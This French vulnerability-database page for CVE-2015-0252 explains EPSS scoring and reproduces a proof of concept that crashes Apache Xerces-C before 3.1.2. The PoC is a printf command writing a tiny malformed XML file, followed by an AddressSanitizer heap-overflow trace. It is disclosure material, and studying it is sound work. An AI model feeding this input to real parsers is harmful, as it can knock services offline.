CVE-2015-0252 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

# Exploit Title: Apache Xerces-C XML Parser (< 3.1.2) DoS POC # Date: 2015-05-03 # Exploit Author: beford # Vendor Homepage: http://xerces.apache.org/#xerces-c # Version: Versions prior to 3.1.2 # Tested on: Ubuntu 15.04 # CVE : CVE-2015-0252 Apache Xerces-C XML Parser Crashes on Malformed Input I believe this to be the same issue that was reported on CVE-2015-0252, posting this in case anyone is interested in reproducing it. Original advisory: https://xerces.apache.org/xerces-c/secadv/CVE-2015-0252.txt $ printf "\xff\xfe\x00\x00\x3c" > file.xml $ DOMPrint ./file.xml # Ubuntu 15.04 libxerces-c3.1 package Segmentation fault $ ./DOMPrint ./file.xml # ASAN Enabled build ================================================================= ==6831==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb5d9d87c at pc 0x836a721 bp 0xbf8127a8 sp 0xbf812798 READ of size 1 at 0xb5d9d87c thread T0 #0 0x836a720 in xercesc_3_1::XMLReader::refreshRawBuffer() xercesc/internal/XMLReader.cpp:1719 #1 0x836a720 in xercesc_3_1::XMLReader::xcodeMoreChars(unsigned short*, unsigned char*, unsigned int) xercesc/internal/XMLReader.cpp:1761 #2 0x837183f in xercesc_3_1::XMLReader::refreshCharBuffer() xercesc/internal/XMLReader.cpp:576 #3 0x837183f in xercesc_3_1::XMLReader::peekString(unsigned short const*) xercesc/internal/XMLReader.cpp:1223 #4 0x83ad0ae in xercesc_3_1::ReaderMgr::peekString(unsigned short const*) xercesc/internal/ReaderMgr.hpp:385 #5 0x83ad0ae in xercesc_3_1::XMLScanner::checkXMLDecl(bool) xercesc/internal/XMLScanner.cpp:1608 #6 0x83b6469 in xercesc_3_1::XMLScanner::scanProlog() xercesc/internal/XMLScanner.cpp:1244 #7 0x8d69220 in xercesc_3_1::IGXMLScanner::scanDocument(xercesc_3_1::InputSource const&) xercesc/internal/IGXMLScanner.cpp:206 #8 0x83cd3e7 in xercesc_3_1::XMLScanner::scanDocument(unsigned short const*) xercesc/internal/XMLScanner.cpp:400 #9 0x83ce728 in xercesc_3_1::XMLScanner::scanDocument(char const*) xercesc/internal/XMLScanner.cpp:408 #10 0x849afc5 in xercesc_3_1::AbstractDOMParser::parse(char const*) xercesc/parsers/AbstractDOMParser.cpp:601 #11 0x8050bf2 in main src/DOMPrint/DOMPrint.cpp:398 #12 0xb6f5272d in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x1872d) #13 0x805d3b5 (/ramdisk/DOMPrint+0x805d3b5) 0xb5d9d87c is located 0 bytes to the right of 163964-byte region [0xb5d75800,0xb5d9d87c) allocated by thread T0 here: #0 0xb72c3ae4 in operator new(unsigned int) (/usr/lib/i386-linux-gnu/libasan.so.1+0x51ae4) #1 0x8340cce in xercesc_3_1::MemoryManagerImpl::allocate(unsigned int) xercesc/internal/MemoryManagerImpl.cpp:40 #2 0x8094cb2 in xercesc_3_1::XMemory::operator new(unsigned int, xercesc_3_1::MemoryManager*) xercesc/util/XMemory.cpp:68 #3 0x8daaaa7 in xercesc_3_1::IGXMLScanner::scanReset(xercesc_3_1::InputSource const&) xercesc/internal/IGXMLScanner2.cpp:1284 #4 0x8d6912a in xercesc_3_1::IGXMLScanner::scanDocument(xercesc_3_1::InputSource const&) xercesc/internal/IGXMLScanner.cpp:198 #5 0x83cd3e7 in xercesc_3_1::XMLScanner::scanDocument(unsigned short const*) xercesc/internal/XMLScanner.cpp:400 #6 0x83ce728 in xercesc_3_1::XMLScanner::scanDocument(char const*) xercesc/internal/XMLScanner.cpp:408 #7 0x849afc5 in xercesc_3_1::AbstractDOMParser::parse(char const*) xercesc/parsers/AbstractDOMParser.cpp:601 #8 0x8050bf2 in main src/DOMPrint/DOMPrint.cpp:398 #9 0xb6f5272d in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x1872d) SUMMARY: AddressSanitizer: heap-buffer-overflow xercesc/internal/XMLReader.cpp:1719 xercesc_3_1::XMLReader::refreshRawBuffer()